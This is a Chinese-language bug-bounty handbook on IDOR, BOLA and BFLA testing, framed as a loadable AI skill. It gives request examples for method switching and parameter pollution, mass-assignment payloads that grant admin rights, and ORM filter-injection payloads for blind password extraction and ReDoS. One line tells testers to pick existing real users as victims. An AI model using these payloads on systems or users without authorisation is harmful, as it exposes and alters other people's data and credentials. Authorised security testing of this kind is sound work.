IDOR(越权访问/不安全的实体直接引用)与对象级权限失效(BOLA)渗透测试手册。适用于请求中暴露了对象标识符(ID)、租户边界、可写字段,或缺少对象级授权校验的测试场景。
SKILL: IDOR / 对象级权限失效(BOLA)— 专家级实战渗透与漏洞挖掘手册
AI 加载指令:IDOR(平行越权)是漏洞赏金(Bug Bounty)中出洞率最高、最常拿高危的 Top 1 漏洞类型。本 Skill 涵盖了隐蔽的 IDOR 攻击面、全套攻击向量(绝不仅限于 URL 参数)、A-B 双账号对比测试方法论、BOLA 与 BFLA 的核心区别、组合利用扩大危害,以及安全人员测试时经常遗漏的关键细节。
1. IDOR vs BOLA vs BFLA
| 术语 | 含义 | 影响 |
|---|---|---|
| IDOR | Insecure Direct Object Reference(不安全的实体直接引用 / 平行越权) | 读取或篡改其他用户的私密数据 |
| BOLA | Broken Object Level Authorization(对象级权限失效,OWASP API Top 10 A1) | 含义与 IDOR 相同,多用于 API 安全语境 |
| BFLA | Broken Function Level Authorization(功能级权限失效 / 垂直越权) | 低权限用户访问了高权限功能(例如管理员专属接口) |
核心区别:
- BOLA = 越权访问不属于你的对象/数据(其他用户的数据)
- BFLA = 越权访问未授权的功能(管理员的 CRUD 操作、批量处理接口、用户管理等)
2. 对象 ID 存在于何处(所有可能的位置)
不要只盯着 URL 路径参数 —— ID 可能会出现在:
URL 路径: GET /api/v1/users/1234/profile
URL 查询参数: GET /orders?order_id=982
请求体 (Body): {"userId": 1234, "action": "view"}
JSON 字段: {"resource": {"id": 5678, "type": "invoice"}}
请求头 (Headers): X-User-ID: 1234
X-Account-ID: 9999
Cookies: user_id=1234; account=org_5678
GraphQL 参数: query { user(id: "1234") { ... } }
表单字段: <input name="documentId" value="5678">
WebSocket 消息: {"event":"subscribe","channel_id":9999}
3. A-B 双账号对比测试方法论
最系统化、最标准的 IDOR 测试流程:
步骤 1:创建两个测试账号:账号 A (UserA) 和账号 B (UserB)
步骤 2:使用账号 A 执行所有操作并抓包记录所有请求
(修改资料、查看订单、修改密码、访问文件等)
步骤 3:记录账号 A 创建或访问过的每一个对象 ID
步骤 4:登录认证为账号 B
步骤 5:使用账号 B 的 Session Token / Auth Header,重放账号 A 的所有请求
步骤 6:如果账号 B 能够读取或篡改账号 A 的数据 → 确认存在 BOLA / IDOR 漏洞
受害者选择:在实际挖洞中,目标应为已存在的真实用户,而非测试账号。
报告证据提交:需出示账号 A 拥有该资源、而账号 B 成功越权访问/操作的完整证据链。
4. ID 类型及其测试技巧与推演
| ID 模式 | 示例 | 说明与技巧 |
|---|---|---|
| 自增连续整数 (Sequential int) | id=1001 → id=1002 |
极易预测,遍历爆破成功率极高 |
| UUID v4 | 550e8400-... |
随机性强,需从其他接口或公开页面中收集目标 UUID |
| UUID v1 | 基于时间的 UUID | 可根据时间戳预测!可提取时间戳与 MAC 地址尝试构造 |
| 自己的资源 GUID | 从响应数据中获取 | 先在自己账号中收集所有出现的 UUID / GUID |
| Hash 化的 ID | md5(user_id) |
尝试对自增整数进行常见 Hash 操作(MD5/SHA1 等) |
| 编码后的 ID | base64({"id":1001}) |
解码 → 修改内部 ID → 重新编码后发包 |
| 复合 ID (Compound IDs) | /api/users/1/orders/5 |
两个 ID 可能需要分别进行独立越权校验 |
5. 水平越权 vs 垂直越权
水平越权(Horizontal):账号 A 访问了账号 B 的数据(同等权限级别)
GET /api/account/1234/statement ← 当前登录账号为 5678
垂直越权(Vertical):低权限用户调用了仅限管理员使用的功能
POST /api/admin/users/delete ← 普通用户直接调用管理员接口
GET /api/admin/all-users
PUT /api/users/1234/role {"role":"admin"}
组合越权(Combined):利用低风险 IDOR 达成垂直越权
GET /api/v1/users/1/details → 读取管理员账号的 Auth Token / 敏感凭据
6. HTTP 请求方法绕过与提权(Method Escalation)
当 GET /resource/1234 做了严格的权限校验时,必须测试其他所有 HTTP Method:
GET /api/v1/users/UserA_ID ← 可能已被越权校验阻断
POST /api/v1/users/UserA_ID ← 走了不同的代码分支,可能漏做了鉴权
PUT /api/v1/users/UserA_ID ← 越权更新其他用户的数据
DELETE /api/v1/users/UserA_ID ← 越权删除其他用户的账号
PATCH /api/v1/users/UserA_ID ← 局部更新(开发者最常遗漏鉴权校验的方法)
原理:后端鉴权逻辑经常是针对特定 Method 分别编写的,开发者极易漏掉边角 Method 的权限检查。
7. 参数污染与类型混淆(Parameter Pollution & Type Confusion)
当 id=1234 经过了正常校验时,尝试以下变体:
id[]=1234&id[]=5678 ← 数组传参 — 应用可能会使用第一个或最后一个元素
id=5678&id=1234 ← 重复参数 — 应用可能会优先读取第一个或最后一个
{"id": "1234"} ← 字符串 vs 整数:可能触发不同的后端代码处理路径
{"id": [1234]} ← JSON 数组
{"userId": 1234, "id": 5678} ← 两个 ID 字段 — 后端究竟用哪个字段做鉴权?
JSON 类型混淆(Type Confusion):
{"userId": "1234"} vs {"userId": 1234}
部分 ORM 框架在处理字符串类型与整数类型的查询条件时,解析逻辑可能有所差别。
8. BFLA(功能级越权)实战攻击
常见待测 BFLA 接口
# 用户管理(设计上仅限管理员):
GET /api/v1/admin/users
DELETE /api/v1/users/{any_user_id}
PUT /api/v1/users/{user_id}/role
# 批量操作接口:
POST /api/v1/users/bulk-delete
GET /api/v1/export/all-data
# 账单/支付管理接口:
POST /api/v1/admin/subscription/modify
GET /api/v1/admin/payments/all
# 内部报表接口:
GET /api/v1/reports/all-users-activity
如何挖掘隐藏的管理员接口
- 审计前端 JS 打包文件(JS Bundle) — 前端代码中经常暴露出管理后台路由和 API 路径
- 查阅 API 文档(Swagger / OpenAPI) — 搜索 "admin"、"internal"、"privileged" 等标签
- 爆破枚举路径:
/api/v1/admin/**、/api/v1/manage/**、/api/v1/internal/** - 使用 Burp Suite 的 "Discover Content" 挖掘 API 基础路径下的内容
- 对比普通用户 API 文档与管理员部分文档(若有)
9. 间接 IDOR(引用链越权)
应用校验了对象 A 的访问权限,但忽略了对其引用的关联对象 B 的归属权校验:
典型场景:
账号 A 拥有读取自己消息的权限。
GET /api/messages/1234 → 校验:"该消息 1234 属于当前用户吗?" ✓ 校验通过
但是:消息中带有附件。
GET /api/attachments/5678 → 漏掉校验:"附件 5678 是否属于当前用户拥有的消息?"
测试方法:绕过父级接口,直接通过附件或子资源的 ID 发起请求访问。
GraphQL 变体:利用关联查询内联获取未经授权的关联对象字段:
query {
myProfile {
followers {
privateEmail ← 通过关注者关联关系,越权读取了其他用户的私密邮箱
}
}
}
10. 批量赋值(Mass Assignment)导致提权
当 POST/PUT 接口接收 JSON Body 时,即使官方 API 文档未说明,底层数据模型的隐藏属性仍可能被直接绑定和修改:
POST /api/v1/register
{
"username": "attacker",
"email": "a@evil.com",
"password": "password",
"role": "admin", ← 隐藏字段:赋予管理员角色
"isAdmin": true, ← 隐藏字段:标记管理员
"verified": true, ← 绕过邮箱验证
"creditBalance": 9999 ← 直接给自己充值余额
}
如何挖掘隐藏字段:
- 拦截对比管理员“创建用户”与普通“注册”的数据包 — 对比字段差异
- 查阅所有可用的 API 说明文档
- 检查公开的源代码(GitHub、前端打包 JS 等)
- 使用 Burp 模糊测试(Fuzzing):添加常见敏感属性名,观察返回
200还是400
11. 状态机滥用(业务逻辑越权)
当资源具备状态流转逻辑时:
订单状态: 待付款 (pending) → 已确认 (confirmed) → 已发货 (shipped) → 已送达 (delivered)
测试:能否跳过中间状态?
PUT /api/orders/1234 {"status": "delivered"} ← 直接从“待付款”修改为“已送达”
PUT /api/orders/1234 {"status": "refunded"} ← 从“待付款”直接跳到“已退款”(跳过已发货)
测试:能否修改其他用户的订单状态?
PUT /api/orders/UserA_order_id {"status": "cancelled"} ← 以账号 B 的身份将账号 A 的订单取消
12. IDOR 快速测试 CheckList
□ 注册 2 个测试账号(账号 A + 账号 B)
□ 梳理映射所有包含对象 ID 的 API 请求(使用 Burp History 导出并过滤)
□ 对每个 API 接口测试所有 HTTP 谓词/动作(Method)
□ 检查所有位置的 ID:URL 路径、Body、Header、Query 参数、Cookie
□ 尝试连续 ID 遍历(在自己 ID 基础上 -1、+1)
□ 尝试使用从自己账号数据中收集到的 UUID/GUID
□ 测试子资源接口(附件、评论、交易记录等)
□ 直接测试管理员接口(BFLA 垂直越权)
□ 尝试在 POST/PUT 请求体中加入额外字段(批量赋值 / Mass Assignment)
□ 对比实际 JSON 响应字段数与文档字段数(挖掘隐藏敏感字段)
□ 测试修改资源状态/状态机字段
13. IDOR 系统化测试 — 8 大常见类别
| # | 类别 | 测试方法 |
|---|---|---|
| 1 | 直接对象 ID 引用 | 修改 URL 中的数字或 UUID:/api/users/123 → /api/users/124 |
| 2 | 可预测的 UUID | 若 UUID 为 v1(基于时间),可通过相邻 UUID 推算 |
| 3 | 批量/Bulk 操作 | /api/users/bulk?ids=123,456 — 在参数中传入其他用户的 ID |
| 4 | 导出/下载接口 | 数据导出接口泄露他人数据:/export?user_id=* |
| 5 | 关联对象 IDOR | 将 order.address_id 修改为其他用户的地址 ID |
| 6 | 资源覆盖/替换 | 在更新自己资料时传入其他用户的资源 ID → 覆盖他人资源 |
| 7 | 写操作 IDOR | 带有他人 ID 的 PUT/PATCH/DELETE — 篡改或删除他人数据 |
| 8 | 嵌套对象越权 | /api/orgs/1/users/2 — 修改组织 ID (org ID) 以访问其他组织的成员 |
测试流程图解
1. 创建两个测试账号(A 和 B)
2. 以账号 A 身份执行所有增删改查(CRUD)操作,抓包记录所有请求中的 ID
3. 使用账号 B 的凭证重放每个请求,并将其中的 ID 替换为账号 A 的 ID
4. 验证:账号 B 是否能读取账号 A 的数据?能否修改?能否删除?
5. 针对多种 ID 格式测试:数字 ID、UUID、Slug、编码值(Base64等)
6. 覆盖所有传输位置:URL 路径、Query 参数、JSON Body、HTTP 头
14. ORM 过滤器链注入与数据泄露
Django ORM Filter 注入(ORM Filter Injection)
# 漏洞代码: User.objects.filter(**request.data)
# 攻击者传入: {"password__startswith": "a"}
# Django 将其转化为 SQL: WHERE password LIKE 'a%'
# 逐字符盲注提取密码:
POST /api/users/
{"username": "admin", "password__startswith": "a"} → 响应 200 (匹配成功)
{"username": "admin", "password__startswith": "b"} → 响应 404 (未匹配)
# 遍历字符集,逐位猜解出完整 Hash/密码
# 跨表关联查询提取:
{"author__user__password__startswith": "a"}
# 跨表查询链: Author → User → password 字段
# MySQL 场景下的 ReDoS 正则拒绝服务攻击:
{"email__regex": "^(a+)+$"} → 若匹配成功会导致 CPU 飙升崩溃
Prisma Filter 注入
// 漏洞代码: prisma.user.findMany({ where: req.body })
// 攻击者传入嵌套的 include / select 结构:
{
"include": {
"posts": {
"include": {
"author": {
"select": {"password": true}
}
}
}
}
}
// 通过关联查询直接带出原本不该暴露的 password 字段
Ransack 注入 (Ruby on Rails)
# Ransack 允许通过 URL 查询参数直接传入搜索谓词:
GET /users?q[password_cont]=admin
# 转换后的 SQL: WHERE password LIKE '%admin%'
# 逐字符密码提取:
GET /users?q[password_start]=a → 查看返回结果数量
GET /users?q[password_start]=ab → 进一步缩小范围
# 自动化工具: plormber (Ransack 自动化盲注提取工具)






